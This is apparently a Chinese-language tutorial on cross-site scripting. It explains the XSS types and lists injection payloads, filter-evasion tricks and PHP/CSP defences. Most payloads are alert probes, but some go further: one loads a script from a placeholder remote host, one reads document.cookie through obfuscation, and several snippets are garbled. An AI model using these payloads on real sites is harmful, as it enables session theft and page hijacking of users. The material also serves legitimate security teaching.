XSS原理
- xss概念
xss又叫css(cross site scripting,跨站脚本攻击),xss攻击通过在web页面插入恶意脚本,当页面被浏览时,恶意脚本会被执行,实现攻击用户的目的。 - xss类型
1、存储型/持久型
存储型指恶意脚本会被存储在服务器端,如数据库中或者文件中。例如留言板等很容易因为输入检验不严谨导致被攻击。
2、反射型/非持久型
反射型一般是带有恶意脚本参数的URL,是一次性的。
3、DOM型
基于DOM文档对象模型的xss漏洞,客户端的恶意脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。可能触发DOM型xss的属性有document.write、innerHTML、location、window.name、document.referer等。
XSS构造方法
1、利用html标记<>进行操作
这是最简单的利用方式,如:
<script>alert(1);</script>
<script>prompt(1)</script>
<iframe src="javascript:alert(1)">
2、利用html标签属性
利用html标签支持js伪协议形式,如src,href,background、value、action、lowsrc、bgsound、dynsrc等,进行xss注入。如:
<img src="javascript:alert(1);"/>
<table background="javascript:alert(1);"></table>
3、事件利用
可以利用html中某些动作事件,绑定恶意脚本。常用的事件有mouseover、onclick、onfocus、onerror、onload、onchange等,具体见:html事件属性
<input type="button" value="click me" onclick="alert(1)" />
4、利用css跨站
css样式表可作为恶意脚本载体,不需要嵌入html中,可以通过link或者@import进行引用,比较隐蔽,不过不同浏览器之间不能通用。
<div style="background-image:url(javascript:alert(1))"></div>
<style>
body{background-image:url(javascript:alert(1));}
//expression中可使用全角字符
p{background-image:expression(alert(1));}
<style>@import'javascript:alert('xss');'</style>
</style>
5、规避过滤规则
可利用大小写混淆、拼接和拆分(空格回车和tab绕过)、字符编码等方式,如:
<scRiPt>alert(1);</scrIPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src="javas cript:alert(1);"/>//语句必须完整,有分号或者标签对。
//可以将代码用ASCII码替换,也可十进制、十六进制、八进制编码
<img src="javascrip#116:alert(1)" />
<a href="#javascript:alert('xss')">xss</a>
//拆分,可绕过长度限制
<script>z='document.'</script>
<script>z=+'write'("'</script>
<script>z=z+'<script'</script>
......
<script>eval(z)</script>
6、DOM方法利用
var s=document.createElement("script");
s.src="http://xxx/xxx.js";
document.getElementsByTagName("head")[0].appendChild(s);
7、location方法利用
利用location加JavaScript伪代码,将“符号”、“变量名”、“函数名” 都变成字符串,在字符串中可以使用js编码,构造payload。
<input type="button" value="click me" name=javascript:alert%281%29" onfocus=location=this.name />
<img src="1" onerror=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">
以上几种构造方法结合使用会让恶意脚本更难辨识。
XSS防御措施
- 字符检验过滤
合理利用正则表达式,过滤,iframe,script,<>,javascript,空格,引号、&等 - php中过滤方法
1.htmlspecialchars函数,将字符内容转化为html实体
2.htmlentities函数
3.HTMLPurifier.auto.php插件
4.RemoveXss函数
5.addslashes() 函数,返回在预定义字符之前添加反斜杠的字符串。
6.strip_tags() 函数,剥去字符串中 HTML、XML 以及 PHP 标签。 - 输出html时,加上Content Security Policy的Http Header,可防止页面被XSS攻击时,嵌入第三方的脚本文件等
- 设置Cookie时,加上HttpOnly参数
- 开发API时,检验请求的Referer参数
- ……
总结
前端,后端都要对输入、输出作校验,一定不能信任每一个输入,也不能放过每一个输出。